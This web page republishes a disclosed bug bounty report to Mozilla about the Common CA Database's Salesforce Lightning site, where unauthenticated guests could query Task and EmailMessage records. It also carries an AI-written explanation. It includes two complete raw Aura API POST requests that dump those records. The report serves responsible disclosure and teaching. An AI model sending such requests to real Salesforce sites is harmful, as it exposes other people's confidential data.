Skip to content
Access control Disclosed report Intermediate

Common CA Database confidential data disclosure due to misconfigured access controls at ccadb.my.salesforce-sites.com/ccadb

The Salesforce Lightning community site for the Common CA Database allowed unauthenticated guest users to call Aura controller methods that returned records from the Task and EmailMessage objects. An attacker could therefore pull confidential data belonging to other users, including customers' registration data.

Valeriy Follow

Originally disclosed on Mozilla

  • Fixed in 5 days
  • Paid in 10 days
  • Disclosed after 5 days

[https://hackerone.com/reports/1884278 "The Mozilla team recommends that you submit this issue to their public program via https://bugzilla.mozilla.org/form.web.bounty"]

Summary:

Hello Mozila Security Team.

It was discovered an interesting behavior that is affecting confidential data at ccadb.my.salesforce-sites.com/ccadb Or https://ccadb.my.salesforce-sites.com/mozilla/ProblemReportingMechanismsReport As far as I understand it's a Common CA Database owned by Mozilla (https://www.ccadb.org/)

And I also found the message "This login page is for Root Store Operator Members of the CCADB." on the page https://ccadb.my.salesforce.com/?ec=302&startURL=%2F00Q1J00000fF1c5 {F2192520}

All in all, it's possible to exfiltrate confidential data from that portal.

Steps To Reproduce:

Web application at https://ccadb.my.salesforce-sites.com/ccadb/ is built using Salesforce Lightning. Salesforce Lightning is a CRM for developing web applications providing a number of abstractions to simplify the development of data-driven applications. In particular, the Aura framework enables developers to build applications using reusable components exposing an API in order for the components to interact with the application. During testing it was discovered that the Salesforce Lightning instance has loose permissions for unauthenticated Guest users. Therefore, a malicious attacker may be able to extract sensitive information belonging to other users of the application. To do this, an unauthenticated attacker may craft a HTTP request directly to the Aura API at https://ccadb.my.salesforce-sites.com/ccadb, using built-in controller methods normally used by the Salesforce Lightning components.

I was able to find such system objects accessible for me.

Task
EmailMessage

Btw it might be helpful in the mitigation process. System user of that service is - "Email":"[address removed]",

  1. That's how you can exfiltrate data from the Task object

You can use my raw burpsuite request.

POST /ccadb/aura?r=3&ui-comm-runtime-components-aura-components-siteforce-network-tracking.NetworkTracking.createLogRecord=1 HTTP/1.1
Host: ccadb.my.salesforce-sites.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://aaroncostello-developer-edition.eu45.force.com/s/
X-Sfdc-Page-Scope-Id: 72e8e289-0853-446f-9245-c60bab493e33
X-Sfdc-Request-Id: 3910000000884a1999
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 719
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"Task","layoutType":"FULL","pageSize":2000,"currentPage":0,"useTimeout":false,"getCount":true,"enableRowActions":false}}]}&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22GVQSDds1N8x8l9AfZLjrQg%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%22RFAZA9h23A72J8fesL7C8g%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2F&aura.token=undefined

In the response we can see {F2192530} {F2192531} {F2192532}

  1. That's how you can fetch all the data from the EmailMessage object
POST /ccadb/aura?r=3&ui-comm-runtime-components-aura-components-siteforce-network-tracking.NetworkTracking.createLogRecord=1 HTTP/1.1
Host: ccadb.my.salesforce-sites.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://aaroncostello-developer-edition.eu45.force.com/s/
X-Sfdc-Page-Scope-Id: 72e8e289-0853-446f-9245-c60bab493e33
X-Sfdc-Request-Id: 3910000000884a1999
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 727
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"EmailMessage","layoutType":"FULL","pageSize":2000,"currentPage":0,"useTimeout":false,"getCount":true,"enableRowActions":false}}]}&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22GVQSDds1N8x8l9AfZLjrQg%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%22RFAZA9h23A72J8fesL7C8g%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2F&aura.token=undefined

In the response we can see confidential data {F2192534} {F2192535}

Supporting Material/References:

Enforce record level security (RLS) on the vulnerable object to ensure records are only able to be retrieved by the record owner, and privileged users of the application. https://help.salesforce.com/s/articleView?language=en_US&id=security_data_access.htm&type=5

Impact

Exposed customers' registration data

The original report as published on Mozilla's Bugzilla, by Valeriy. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the guest user profile was granted access to the Task and EmailMessage objects without record-level security, so the Aura data provider returned records to unauthenticated callers.

Impact

An unauthenticated attacker could extract confidential records, including exposed customers' registration data.

What the attacker needed

No account needed; network access to the community site

The fix

Record-level security should be enforced on the affected objects so only record owners and privileged users can retrieve them.

How it was found

  1. Send an unauthenticated request to the Aura API endpoint of the community site.
  2. Call the selectable list data provider controller with the Task object as the target.
  3. Read the returned records, then repeat the same request with the EmailMessage object.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Salesforce Lightning is a framework for building web apps, and its Aura API lets the page ask the server for data. Here the server did not check whether the person asking was logged in, so anyone on the internet could request records that should have been private.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.